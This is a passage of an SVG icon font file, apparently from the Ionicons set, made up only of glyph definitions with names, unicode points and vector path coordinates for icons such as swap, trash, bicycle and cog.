c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM43 235h298l-32 85h-234z" />
    <glyph glyph-name="ion-ios-swap" unicode="&#xf21f;" horiz-adv-x="448" 
d="M357 182c-5 5 -5 13 0 18l47 48h-225c-7 0 -13 6 -13 13s6 13 13 13h225l-47 48c-5 5 -5 13 0 18s13 5 18 0l69 -70v0c1 -1 2 -2 3 -4s1 -3 1 -5c0 -3 -2 -7 -4 -9l-69 -70c-5 -5 -13 -5 -18 0zM91 44c-5 -5 -13 -5 -18 0l-69 70c-2 2 -4 6 -4 9c0 2 0 3 1 5s2 3 3 4v0
l69 70c5 5 13 5 18 0s5 -13 0 -18l-47 -48h225c7 0 13 -6 13 -13s-6 -13 -13 -13h-225l47 -48c5 -5 5 -13 0 -18z" />
    <glyph glyph-name="ion-md-git-commit" unicode="&#xf2fb;" horiz-adv-x="448" 
d="M448 224v-64h-100c-14 -55 -64 -96 -124 -96s-109 41 -123 96h-101v64h101c14 55 63 96 123 96s110 -41 124 -96h100zM224 112c44 0 80 36 80 80s-36 80 -80 80s-79 -36 -79 -80s35 -80 79 -80z" />
    <glyph glyph-name="ion-md-person-add" unicode="&#xf344;" horiz-adv-x="480" 
d="M288 192c-53 0 -96 43 -96 96s43 96 96 96s96 -43 96 -96s-43 -96 -96 -96zM288 144c64 0 192 -32 192 -96v-48h-384v48c0 64 128 96 192 96zM96 224h64v-32h-64v-64h-32v64h-64v32h64v64h32v-64z" />
    <glyph glyph-name="ion-ios-moon" unicode="&#xf468;" horiz-adv-x="352" 
d="M321 94c9 0 18 0 26 2c3 1 6 -3 4 -6c-5 -8 -10 -15 -16 -22c-35 -42 -87 -68 -145 -68c-105 0 -190 86 -190 193c0 86 55 159 133 184c12 4 22 6 28 7c3 1 5 -3 3 -6c-4 -7 -10 -17 -13 -24c-11 -24 -18 -50 -18 -78c0 -49 19 -95 53 -129s79 -53 127 -53h8z" />
    <glyph glyph-name="ion-ios-business" unicode="&#xf1a3;" horiz-adv-x="320" 
d="M50 368c-10 0 -18 8 -18 18v0c0 10 8 18 18 18h220c10 0 18 -8 18 -18v0c0 -10 -8 -18 -18 -18h-220zM302 348c10 0 18 -8 18 -18c0 -9 -7 -17 -16 -18v-300c0 -13 -11 -24 -24 -24h-88c-4 0 -8 4 -8 8v40c0 4 -4 8 -8 8h-32c-4 0 -8 -4 -8 -8v-40c0 -4 -4 -8 -8 -8h-88
c-13 0 -24 11 -24 24v300c-9 1 -16 9 -16 18c0 10 8 18 18 18h284zM96 84v16c0 4 -4 8 -8 8h-16c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM96 148v16c0 4 -4 8 -8 8h-16c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM96 212v16c0 4 -4 8 -8 8h-16
c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM96 276v16c0 4 -4 8 -8 8h-16c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM176 84v16c0 4 -4 8 -8 8h-16c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM176 148v16c0 4 -4 8 -8 8h-16
c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM176 212v16c0 4 -4 8 -8 8h-16c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM176 276v16c0 4 -4 8 -8 8h-16c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM256 84v16c0 4 -4 8 -8 8h-16
c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM256 148v16c0 4 -4 8 -8 8h-16c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM256 212v16c0 4 -4 8 -8 8h-16c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8zM256 276v16c0 4 -4 8 -8 8h-16
c-4 0 -8 -4 -8 -8v-16c0 -4 4 -8 8 -8h16c4 0 8 4 8 8z" />
    <glyph glyph-name="ion-ios-film" unicode="&#xf42b;" horiz-adv-x="448" 
d="M416 368c18 0 32 -14 32 -32v-288c0 -18 -14 -32 -32 -32h-384c-18 0 -32 14 -32 32v288c0 18 14 32 32 32h384zM88 48v48c0 4 -4 8 -8 8h-48c-4 0 -8 -4 -8 -8v-48c0 -4 4 -8 8 -8h48c4 0 8 4 8 8zM88 128v48c0 4 -4 8 -8 8h-48c-4 0 -8 -4 -8 -8v-48c0 -4 4 -8 8 -8h48
c4 0 8 4 8 8zM88 208v48c0 4 -4 8 -8 8h-48c-4 0 -8 -4 -8 -8v-48c0 -4 4 -8 8 -8h48c4 0 8 4 8 8zM88 288v48c0 4 -4 8 -8 8h-48c-4 0 -8 -4 -8 -8v-48c0 -4 4 -8 8 -8h48c4 0 8 4 8 8zM320 180c7 0 12 5 12 12s-5 12 -12 12h-192c-7 0 -12 -5 -12 -12s5 -12 12 -12h192z
M424 48v48c0 4 -4 8 -8 8h-48c-4 0 -8 -4 -8 -8v-48c0 -4 4 -8 8 -8h48c4 0 8 4 8 8zM424 128v48c0 4 -4 8 -8 8h-48c-4 0 -8 -4 -8 -8v-48c0 -4 4 -8 8 -8h48c4 0 8 4 8 8zM424 208v48c0 4 -4 8 -8 8h-48c-4 0 -8 -4 -8 -8v-48c0 -4 4 -8 8 -8h48c4 0 8 4 8 8zM424 288v48
c0 4 -4 8 -8 8h-48c-4 0 -8 -4 -8 -8v-48c0 -4 4 -8 8 -8h48c4 0 8 4 8 8z" />
    <glyph glyph-name="ion-md-git-pull-request" unicode="&#xf2ff;" horiz-adv-x="384" 
d="M352 71c19 -11 32 -31 32 -55c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v170c0 35 -2 47 -8 54c-5 6 -9 10 -34 10h-22v-65l-96 96l96 96v-61h22c39 0 64 -11 84 -36c18 -23 22 -48 22 -94v-170zM320 -24c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40
s18 -40 40 -40zM64 400c35 0 64 -29 64 -64c0 -24 -13 -44 -32 -55v-210c19 -11 32 -31 32 -55c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v210c-19 11 -32 31 -32 55c0 35 29 64 64 64zM64 -24c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40z
M64 296c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40z" />
    <glyph glyph-name="ion-ios-arrow-up" unicode="&#xf3d8;" horiz-adv-x="336" 
d="M168 230l-127 -127c-9 -9 -25 -9 -34 0c-5 5 -7 11 -7 17s2 12 7 17l145 145c9 9 24 8 33 -1l144 -144c9 -9 9 -25 0 -34s-25 -9 -34 0z" />
    <glyph glyph-name="ion-ios-american-football" unicode="&#xf106;" 
d="M331 315c40 -40 62 -96 73 -148l-171 -171c-52 11 -108 33 -148 73s-62 95 -73 148l171 171c52 -11 108 -33 148 -73zM296 160c5 5 5 13 1 18c-3 3 -7 4 -11 4c-3 0 -6 -2 -8 -4l-19 -19l-16 16l20 19c3 3 5 8 3 13c0 1 -1 1 -1 2c-3 5 -7 8 -13 7c-3 0 -6 -2 -8 -4
l-19 -19l-16 16l20 19c3 3 5 8 3 13c-1 2 -1 5 -3 6v0c-3 3 -8 4 -12 3c-3 0 -5 -2 -7 -4l-19 -19l-16 16l20 19c3 3 5 8 3 13c0 1 -1 1 -1 2c-3 5 -7 8 -13 7c-3 0 -6 -2 -8 -4l-19 -19l-15 15c-5 5 -13 5 -18 0v0c-5 -5 -5 -13 0 -18l15 -15l-19 -19c-3 -3 -6 -8 -4 -13
c0 -1 1 -1 1 -2c3 -5 8 -8 14 -7c3 0 5 2 7 4l20 19l15 -16l-19 -19c-3 -3 -6 -8 -4 -13c0 -1 1 -1 1 -2c3 -5 8 -8 14 -7c3 0 5 2 7 4l19 19l16 -16l-20 -19c-3 -3 -5 -8 -3 -13c0 -1 1 -1 1 -2c3 -5 7 -8 13 -7c3 0 6 2 8 4l19 19l16 -16l-20 -19c-3 -3 -4 -8 -3 -13
c1 -2 1 -3 3 -5v0c3 -3 8 -5 12 -4c3 0 5 2 7 4l19 19l15 -15c5 -5 13 -5 18 0v0c5 5 5 13 0 18l-15 15zM347 -16c-24 0 -54 1 -85 6l148 148c10 -66 5 -125 3 -144c0 -4 -3 -7 -7 -7c-10 -1 -31 -3 -59 -3zM69 400c24 0 54 -1 85 -6l-148 -148c-10 66 -5 125 -3 144
c0 4 3 7 7 7c10 1 31 3 59 3z" />
    <glyph glyph-name="ion-ios-unlock" unicode="&#xf261;" horiz-adv-x="320" 
d="M280 256c22 0 40 -18 40 -40v-192c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v192c0 22 18 40 40 40h24v47c0 53 42 96 95 97s97 -43 97 -96v0v0c0 -8 -6 -14 -14 -14s-14 6 -14 14v0v0c0 18 -7 35 -20 48s-30 20 -48 20s-35 -7 -48 -20s-20 -30 -20 -48v-48h188z
M174 131c11 5 18 16 18 29c0 18 -15 33 -34 32c-16 -1 -29 -13 -30 -29c-1 -14 6 -26 18 -32v-69c0 -8 7 -14 15 -14s13 6 13 14v69z" />
    <glyph glyph-name="ion-ios-pint" unicode="&#xf486;" horiz-adv-x="232" 
d="M232 273c0 -91 -36 -94 -36 -169c0 -37 16 -66 16 -92c0 -25 -6 -28 -29 -28h-134c-23 0 -29 3 -29 28c0 26 16 56 16 93c0 75 -36 76 -36 167c0 20 1 82 19 116c4 8 10 12 29 12h136c19 0 25 -4 29 -12c18 -34 19 -95 19 -115zM48 372h-6c-5 -12 -10 -29 -12 -51h172
c-2 22 -7 39 -12 51h-6h-136z" />
    <glyph glyph-name="ion-ios-flash-off" unicode="&#xf12f;" horiz-adv-x="256" 
d="M254 5c4 -7 2 -15 -5 -19c-2 -1 -5 -2 -7 -2c-5 0 -9 3 -12 7l-228 388c-4 7 -2 15 5 19s16 2 20 -5zM197 135l-53 89h104c6 0 11 -8 7 -14zM192 411l-51 -182l-42 72l86 113c3 4 8 1 7 -3zM59 249l53 -89h-104c-6 0 -10 8 -6 14zM64 -27l51 182l42 -72l-86 -113
c-3 -4 -8 -1 -7 3z" />
    <glyph glyph-name="ion-ios-cog" unicode="&#xf412;" 
d="M409 206c4 0 7 -4 7 -8v-12c0 -4 -3 -8 -7 -8l-26 -4c-3 -1 -7 -2 -7 -6c0 -3 0 -7 -1 -10s1 -7 4 -9l23 -12c4 -2 5 -6 4 -10l-4 -11c-1 -4 -6 -6 -10 -5l-26 5c-4 1 -6 -1 -8 -4s-3 -6 -5 -9s-1 -6 1 -9l17 -20c3 -3 3 -8 0 -11l-7 -9c-3 -3 -8 -3 -11 -1l-23 13
c-3 2 -6 1 -9 -1c-2 -2 -5 -4 -7 -6c-3 -2 -4 -6 -3 -9l10 -25c2 -4 0 -8 -4 -10l-10 -6c-4 -2 -8 0 -10 3l-17 20c-2 3 -6 4 -9 3s-5 -3 -9 -4c-3 -1 -6 -4 -6 -8l1 -26c0 -4 -3 -7 -7 -8l-12 -2c-4 -1 -8 1 -9 5l-8 25c-1 3 -4 6 -8 6c-2 0 -3 -1 -5 -1s-3 1 -5 1
c-4 0 -7 -3 -8 -6l-8 -25c-1 -4 -5 -6 -9 -5l-12 2c-4 1 -6 4 -6 8v26c0 4 -3 7 -6 8c-4 1 -7 3 -10 4s-6 0 -8 -3l-16 -20c-2 -3 -7 -5 -11 -3l-10 6c-4 2 -5 6 -3 10l9 25c1 3 0 7 -3 9c-2 2 -5 4 -7 6c-3 2 -6 3 -9 1l-23 -13c-3 -2 -8 -2 -11 1l-7 9c-3 3 -3 8 0 11
l18 20c2 3 2 6 0 9s-3 6 -5 9s-5 5 -8 4l-26 -5c-4 -1 -8 1 -9 5l-4 11c-1 4 -1 7 3 9l24 13c3 2 5 6 4 9s-2 6 -2 9c0 4 -3 6 -7 7l-26 4c-4 0 -7 4 -7 8v12c0 4 3 8 7 8l26 4c3 1 7 3 7 7c0 3 1 6 2 9s-1 7 -4 9l-24 13c-4 2 -4 6 -3 10l4 11c1 4 5 6 9 5l26 -5
c4 -1 6 1 8 4s3 5 5 8s2 7 0 10l-18 20c-3 3 -3 7 0 10l7 9c3 3 8 4 11 2l22 -14c3 -2 7 -1 10 1c2 2 5 4 7 6c3 2 4 6 3 9l-10 25c-2 4 0 8 4 10l10 6c4 2 8 1 10 -2l17 -21c3 -3 5 -4 8 -3c2 1 8 3 10 4c3 1 6 4 6 8l-1 26c0 4 3 8 7 9l12 2c4 1 8 -2 9 -6l8 -25
c1 -3 4 -5 8 -5h5h5c4 0 7 2 8 5l8 25c1 4 5 7 9 6l12 -2c4 -1 6 -5 6 -9v-26c0 -4 3 -7 6 -8c4 -1 9 -4 9 -4c4 -1 7 1 9 3l16 21c2 3 7 4 11 2l10 -6c4 -2 5 -6 3 -10l-9 -25c-1 -3 0 -7 3 -9c2 -2 5 -4 7 -6c3 -2 6 -3 9 -1l23 14c3 2 8 1 11 -2l7 -9c3 -3 3 -8 0 -11
l-18 -19c-2 -3 -2 -7 0 -10s3 -5 5 -8s5 -5 8 -4l26 5c4 1 8 -1 9 -5l4 -11c1 -4 1 -8 -3 -10l-24 -13c-3 -2 -5 -6 -4 -9s2 -6 2 -9c0 -4 3 -6 7 -7zM134 91l56 97c1 2 1 6 0 8l-56 97c-5 9 -18 10 -26 3c-27 -26 -44 -63 -44 -104s17 -78 45 -104c8 -7 20 -6 25 3z
M348 158c2 10 -6 20 -16 20h-111c-3 0 -6 -2 -7 -4l-56 -97c-5 -9 -1 -20 9 -23c13 -4 27 -6 41 -6c68 0 125 47 140 110zM332 206c10 0 18 10 16 20c-15 63 -72 110 -140 110c-14 0 -28 -2 -41 -6c-10 -3 -14 -14 -9 -23l56 -97c1 -2 4 -4 7 -4h111z" />
    <glyph glyph-name="ion-ios-baseball" unicode="&#xf3de;" 
d="M208 374c-2 -1 -5 1 -5 3c-1 8 -2 15 -3 23h8c115 0 208 -93 208 -208v-8v0c-7 1 -15 2 -22 3c-2 0 -4 3 -3 5l3 9c2 5 -1 9 -6 11v0c-5 2 -9 0 -11 -5l-4 -11c-1 -2 -3 -4 -5 -3c-7 2 -15 5 -22 8c-4 2 -8 3 -12 5c-2 1 -3 4 -2 6l6 8c3 4 2 10 -2 13h-1
c-4 3 -9 1 -12 -3l-7 -10c-1 -2 -3 -2 -5 -1c-12 7 -23 16 -33 25c-2 2 -2 3 0 5l8 8c4 3 4 8 0 12l-1 1c-3 4 -8 4 -12 0l-8 -8c-2 -2 -4 -2 -6 0c-9 10 -16 21 -23 32c-1 2 -1 4 1 5l10 7c4 3 6 8 3 12v1c-3 4 -9 5 -13 2l-8 -6c-2 -1 -5 0 -6 2c-2 4 -4 9 -6 14
c-3 7 -5 13 -7 20c-1 2 0 4 2 5l12 4c5 2 7 6 5 11v0c-2 5 -6 8 -11 6zM210 1c1 -5 2 -12 2 -17v0h-4c-115 0 -208 93 -208 208v4v0c6 -1 12 -1 18 -2c2 0 4 -3 3 -5l-4 -13c-2 -5 1 -9 6 -11v0c5 -2 9 1 11 6l5 14c1 2 3 4 5 3c8 -2 15 -5 22 -8c4 -2 9 -4 13 -6
c2 -1 3 -4 2 -6l-8 -11c-3 -4 -1 -9 3 -12v-1c4 -3 9 -1 12 3l9 13c1 2 3 2 5 1c11 -7 22 -15 32 -24c2 -2 3 -3 1 -5l-10 -10c-4 -3 -4 -9 0 -13v0c3 -4 9 -4 13 0l9 10c2 2 4 1 6 -1c9 -10 18 -21 25 -33c1 -2 1 -4 -1 -5l-13 -9c-4 -3 -6 -8 -3 -12h1c3 -4 8 -6 12 -3
l11 8c2 1 5 0 6 -2c2 -4 3 -8 5 -12c3 -8 6 -15 8 -23c1 -2 -1 -4 -3 -5l-13 -4c-5 -2 -8 -7 -6 -12v0c2 -5 6 -8 11 -6l12 4c2 1 5 -1 5 -3zM383 167c1 2 3 3 5 3c9 -2 17 -3 26 -4c-12 -95 -88 -171 -184 -181v1c-1 7 -2 15 -3 22c0 2 1 3 3 4l16 5c5 2 7 6 5 11v1
c-2 5 -6 7 -11 5l-14 -4c-2 -1 -4 1 -5 3c-4 14 -9 27 -15 40c-1 2 -1 4 1 5l13 9c4 3 5 8 2 12v1c-3 4 -9 5 -13 2l-10 -7c-2 -1 -5 -1 -6 1c-8 12 -17 25 -27 36c-2 2 -2 3 0 5l10 11c4 3 4 8 0 12v0c-3 4 -9 4 -13 0l-10 -10c-2 -2 -3 -1 -5 0c-11 10 -23 18 -35 26
c-2 1 -2 4 -1 6l7 10c3 4 1 10 -3 13v0c-4 3 -9 1 -12 -3l-8 -12c-1 -2 -4 -2 -6 -1c-13 7 -26 12 -40 16c-2 1 -4 3 -3 5l4 13c2 5 0 9 -5 11h-1c-5 2 -9 -1 -11 -6l-5 -14c-1 -2 -2 -3 -4 -3c-7 1 -15 2 -23 3h-1c10 96 86 172 181 184c1 -9 2 -19 4 -28c0 -2 -1 -3 -3 -4
l-17 -6c-5 -2 -8 -6 -6 -11v0c2 -5 6 -8 11 -6l16 5c2 1 4 -1 5 -3c4 -14 10 -26 16 -39c1 -2 1 -5 -1 -6l-15 -10c-4 -3 -6 -8 -3 -12h1c3 -4 8 -6 12 -3l13 9c2 1 5 1 6 -1c8 -12 16 -23 26 -34c2 -2 2 -3 0 -5l-13 -13c-4 -3 -4 -9 0 -13v0c3 -4 9 -4 13 0l13 13
c2 2 3 1 5 0c11 -10 23 -19 35 -27c2 -1 2 -3 1 -5l-9 -14c-3 -4 -1 -9 3 -12v-1c4 -3 9 -1 12 3l11 15c1 2 3 3 5 2c13 -6 25 -12 39 -16c2 -1 4 -3 3 -5l-5 -17c-2 -5 1 -9 6 -11v0c5 -2 9 1 11 6z" />
    <glyph glyph-name="ion-ios-help" unicode="&#xf446;" horiz-adv-x="128" 
d="M65 288c38 0 63 -21 63 -51c0 -20 -10 -33 -28 -44c-17 -10 -23 -17 -23 -30v-8h-35v8c-2 21 5 33 23 44c17 10 24 17 24 29s-12 22 -27 22s-25 -10 -26 -25h-36c1 32 25 55 65 55zM38 117c0 12 10 20 22 20s21 -8 21 -20s-9 -21 -21 -21s-22 9 -22 21z" />
    <glyph glyph-name="ion-md-square" unicode="&#xf381;" horiz-adv-x="384" 
d="M341 384c23 0 43 -20 43 -43v-298c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h298z" />
    <glyph glyph-name="ion-ios-folder-open" unicode="&#xf180;" horiz-adv-x="448" 
d="M416 329v-41h-384v73c0 13 11 23 25 23h96c8 0 12 -2 17 -7v0l23 -23c2 -2 3 -2 6 -2h194c13 0 23 -10 23 -23zM32 260h384h8c15 0 25 -10 24 -30c-1 -21 -24 -205 -24 -205c-2 -17 -10 -25 -23 -25h-352c-13 0 -22 7 -25 25c0 0 -22 192 -24 211s11 24 24 24h8z" />
    <glyph glyph-name="ion-ios-tablet-portrait" unicode="&#xf24e;" horiz-adv-x="320" 
d="M313 409v0c4 -4 7 -11 7 -17v-400c0 -6 -3 -13 -7 -17v0c-4 -4 -11 -7 -17 -7h-272c-6 0 -13 3 -17 7v0c-4 4 -7 11 -7 17v400c0 6 3 13 7 17v0c4 4 11 7 17 7h272c6 0 13 -3 17 -7zM160 399c-4 0 -7 -3 -7 -7s3 -7 7 -7s7 3 7 7s-3 7 -7 7zM160 -22c8 0 14 6 14 14
s-6 14 -14 14s-14 -6 -14 -14s6 -14 14 -14zM304 16v352h-288v-352h288z" />
    <glyph glyph-name="ion-ios-arrow-dropright" unicode="&#xf114;" 
d="M163 300c8 8 19 8 27 0l95 -95c7 -7 8 -19 1 -27l-94 -94c-4 -4 -9 -6 -14 -6s-9 2 -13 6c-8 8 -8 19 0 27l80 81l-82 81c-8 7 -8 19 0 27zM0 192c0 115 93 208 208 208s208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208zM32 192c0 -47 19 -91 52 -124
s77 -52 124 -52s91 19 124 52s52 77 52 124s-19 91 -52 124s-77 52 -124 52s-91 -19 -124 -52s-52 -77 -52 -124z" />
    <glyph glyph-name="ion-ios-image" unicode="&#xf19c;" 
d="M65 136c-4 0 -8 4 -5 8l95 154c2 3 7 3 9 0l96 -154c3 -4 -1 -8 -5 -8h-190zM259 194c-1 2 -1 4 0 6l26 32c2 3 7 3 9 0l62 -88c3 -4 -1 -8 -5 -8h-53c-2 0 -3 0 -4 2zM303 280c-18 -2 -33 13 -31 31c1 13 12 24 25 25c18 2 33 -13 31 -31c-1 -13 -12 -24 -25 -25z
M384 400c18 0 32 -14 32 -32v-352c0 -18 -14 -32 -32 -32h-352c-18 0 -32 14 -32 32v352c0 18 14 32 32 32h352zM381 120v0v237c0 4 -4 8 -8 8h-330c-4 0 -8 -4 -8 -8v-237c0 -4 4 -8 8 -8h330c4 0 8 4 8 8z" />
    <glyph glyph-name="ion-logo-slack" unicode="&#xf10b;" horiz-adv-x="480" 
d="M218 150l-20 62l64 21l20 -62zM218 150l-20 62l64 21l20 -62zM460 258c50 -165 11 -236 -154 -286s-236 -11 -286 154s-11 236 154 286s236 11 286 -154zM377 151c13 4 19 19 15 32s-18 19 -31 15l-31 -10l-21 62l31 10c13 4 20 19 16 32s-19 19 -32 15l-31 -10l-10 32
c-4 13 -19 20 -32 16s-20 -19 -16 -32l11 -32l-64 -21l-11 32c-4 13 -18 20 -31 16s-20 -19 -16 -32l11 -32l-31 -10c-13 -4 -20 -19 -16 -32c3 -10 13 -17 23 -17c3 0 6 0 9 1l31 11l20 -62l-31 -11c-13 -4 -19 -18 -15 -31c3 -10 13 -17 23 -17c3 0 5 0 8 1l31 11l11 -33
c3 -10 13 -17 23 -17c3 0 5 1 8 2c13 4 20 18 16 31l-11 32l64 22l11 -33c3 -10 13 -16 23 -16c3 0 6 0 9 1c13 4 19 18 15 31l-10 32z" />
    <glyph glyph-name="ion-md-trash" unicode="&#xf398;" horiz-adv-x="320" 
d="M32 43v245h256v-245c0 -23 -20 -43 -43 -43h-170c-23 0 -43 20 -43 43zM320 352v-32h-320v32h80l27 32h106l27 -32h80z" />
    <glyph glyph-name="ion-md-rainy" unicode="&#xf363;" horiz-adv-x="448" 
d="M107 48c0 0 23 -26 23 -41c0 -13 -10 -23 -23 -23s-23 10 -23 23c0 15 23 41 23 41zM185 80c0 0 23 -26 23 -41c0 -13 -10 -23 -23 -23s-23 10 -23 23c0 15 23 41 23 41zM263 48c0 0 23 -26 23 -41c0 -13 -10 -23 -23 -23s-23 10 -23 23c0 15 23 41 23 41zM341 80
c0 0 23 -26 23 -41c0 -13 -10 -23 -23 -23s-23 10 -23 23c0 15 23 41 23 41zM361 287c48 -3 87 -44 87 -93c0 -52 -44 -98 -96 -98h-243c-62 0 -109 54 -109 116c0 55 38 100 91 111c6 1 15 2 21 2c50 0 91 -31 106 -75h33c-6 24 -19 47 -37 65c-25 25 -57 37 -91 40
c25 31 61 45 101 45c68 0 124 -48 137 -113z" />
    <glyph glyph-name="ion-ios-skip-forward" unicode="&#xf217;" horiz-adv-x="320" 
d="M241 348c0 2 2 4 4 4h71c2 0 4 -2 4 -4v-312c0 -2 -2 -4 -4 -4h-71c-2 0 -4 2 -4 4v138l-229 -140c-5 -3 -12 1 -12 7v302c0 6 7 10 12 7l229 -140v138z" />
    <glyph glyph-name="ion-md-cloud-outline" unicode="&#xf2c7;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121zM380 72c33 0 60 27 60 60s-27 60 -60 60h-30v10c0 61 -49 110 -110 110c-51 0 -93 -34 -106 -80h-14
c-44 0 -80 -36 -80 -80s36 -80 80 -80h260z" />
    <glyph glyph-name="ion-ios-help-buoy" unicode="&#xf196;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM263 364l-6 -89c14 -8 26 -20 34 -34l89 6c-9 27 -24 51 -45 72s-45 36 -72 45zM81 319c-21 -21 -36 -45 -45 -72l89 -6c8 14 20 26 34 34l-6 89c-27 -9 -51 -24 -72 -45zM153 20
l6 89c-14 8 -26 20 -34 34l-89 -6c9 -27 24 -51 45 -72s45 -36 72 -45zM208 124c38 0 68 30 68 68s-30 68 -68 68s-68 -30 -68 -68s30 -68 68 -68zM335 65c21 21 36 46 45 73l-89 6c-8 -14 -20 -27 -34 -35l6 -89c27 9 51 24 72 45z" />
    <glyph glyph-name="ion-md-fitness" unicode="&#xf1ac;" 
d="M386 132l30 -29l-45 -45l30 -30l-30 -29l-29 29l-45 -44l-30 30l-29 -30l-30 30l74 74l-178 178l-74 -74l-30 30l30 30l-30 29l44 45l-29 30l29 29l30 -29l45 44l30 -30l29 30l30 -30l-74 -74l178 -178l74 74l30 -30z" />
    <glyph glyph-name="ion-md-compass" unicode="&#xf2d4;" horiz-adv-x="448" 
d="M224 217c13 0 25 -12 25 -25s-12 -25 -25 -25s-25 12 -25 25s12 25 25 25zM224 416c123 0 224 -101 224 -224s-101 -224 -224 -224s-224 101 -224 224s101 224 224 224zM273 143l85 183l-183 -85l-85 -183z" />
    <glyph glyph-name="ion-md-bicycle" unicode="&#xf299;" horiz-adv-x="448" 
d="M299 317c-19 0 -34 14 -34 33s15 34 34 34s33 -15 33 -34s-14 -33 -33 -33zM355 187c51 0 93 -43 93 -94s-42 -93 -93 -93s-94 42 -94 93s43 94 94 94zM355 28c36 0 65 29 65 65s-29 66 -65 66s-66 -30 -66 -66s30 -65 66 -65zM274 224l-30 45l-43 -45l39 -32v-112h-32
v86l-61 38c-9 6 -19 15 -19 27c0 8 3 17 9 23l72 69c6 6 14 9 22 9c11 0 22 -7 28 -16l34 -60h59v-32h-78zM93 187c51 0 94 -43 94 -94s-43 -93 -94 -93s-93 42 -93 93s42 94 93 94zM93 28c36 0 66 29 66 65s-30 66 -66 66s-65 -30 -65 -66s29 -65 65 -65z" />
    <glyph glyph-name="ion-md-filing" unicode="&#xf2ec;" 
d="M401 240l15 -48v-167c0 -21 -21 -41 -43 -41h-314c-24 0 -59 19 -59 43v165l15 48h26v32l14 48h26v32l15 48h224l15 -48v-32h26l14 -48v-32h26zM128 352v-32h160v32h-160zM87 272v-32h242v32h-242zM369 160v32h-322v-32h83c7 -36 39 -64 78 -64s71 28 78 64h83z" />
    <glyph glyph-name="ion-ios-close-circle-outline" unicode="&#xf14d;" 
d="M283 139c6 -6 6 -16 0 -22s-16 -6 -22 0l-53 52l-53 -52c-6 -6 -16 -6 -22 0s-7 15 0 22s52 53 52 53s-46 47 -52 53s-7 15 0 22s16 6 22 0l53 -52l53 52c6 6 16 6 22 0s6 -16 0 -22l-52 -53zM208 372c-48 0 -93 -19 -127 -53s-53 -79 -53 -127s19 -93 53 -127
s79 -53 127 -53s93 19 127 53s53 79 53 127s-19 93 -53 127s-79 53 -127 53zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208z" />
    <glyph glyph-name="ion-ios-bed" unicode="&#xf139;" horiz-adv-x="448" 
d="M426 240c12 0 22 -10 22 -22v-180c0 -12 -10 -22 -22 -22v0c-12 0 -22 10 -22 22v6c0 2 -2 4 -4 4h-352c-2 0 -4 -2 -4 -4v-6c0 -12 -10 -22 -22 -22v0c-12 0 -22 10 -22 22v180c0 12 10 22 22 22v0c12 0 22 -10 22 -22c0 -1 1 -2 2 -2h356c1 0 2 1 2 2c0 12 10 22 22 22
v0zM52 234c-4 0 -8 4 -8 8v94c0 18 14 32 32 32h296c18 0 32 -14 32 -32v-94c0 -4 -4 -8 -8 -8h-22c-2 0 -4 2 -4 4v13c0 9 -7 16 -16 16h-98c-9 0 -16 -7 -16 -16v-13c0 -2 -2 -4 -4 -4h-24c-2 0 -4 2 -4 4v13c0 9 -7 16 -16 16h-98c-9 0 -16 -7 -16 -16v-13
c0 -2 -2 -4 -4 -4h-22z" />
    <glyph glyph-name="ion-md-arrow-forward" unicode="&#xf287;" horiz-adv-x="342" 
d="M0 171v42h260l-119 120l30 30l171 -171l-171 -171l-31 30l120 120h-260z" />
    <glyph glyph-name="ion-md-arrow-dropdown" unicode="&#xf280;" horiz-adv-x="256" 
d="M0 256h256l-128 -128z" />
    <glyph glyph-name="ion-ios-musical-note" unicode="&#xf46b;" horiz-adv-x="236" 
d="M226 400c6 1 10 -4 10 -8v-75c0 -8 -6 -13 -13 -15l-93 -19c-4 -1 -6 -4 -6 -8v-230c0 -26 -13 -41 -24 -48c-15 -10 -43 -13 -51 -13c-3 0 -9 0 -14 1c-13 3 -35 17 -35 47c0 37 40 47 64 52c5 1 11 2 14 3c8 2 13 7 16 13c2 4 2 10 2 12v255v0v0c0 4 4 7 8 8
s117 24 122 25z" />
    <glyph glyph-name="ion-ios-walk" unicode="&#xf266;" horiz-adv-x="256" 
d="M73 87v91l46 -47l-9 -52c0 -5 -2 -10 -6 -14l-70 -51c-4 -4 -12 -9 -16 -9c-5 0 -9 3 -13 7s-5 7 -5 12s1 10 5 14zM141 342c-20 3 -34 23 -31 43s23 34 43 31s33 -23 30 -43s-22 -34 -42 -31zM223 -11c1 -10 -6 -19 -16 -21h-2c-9 0 -17 7 -18 16l-15 104c0 2 -1 4 -2 5
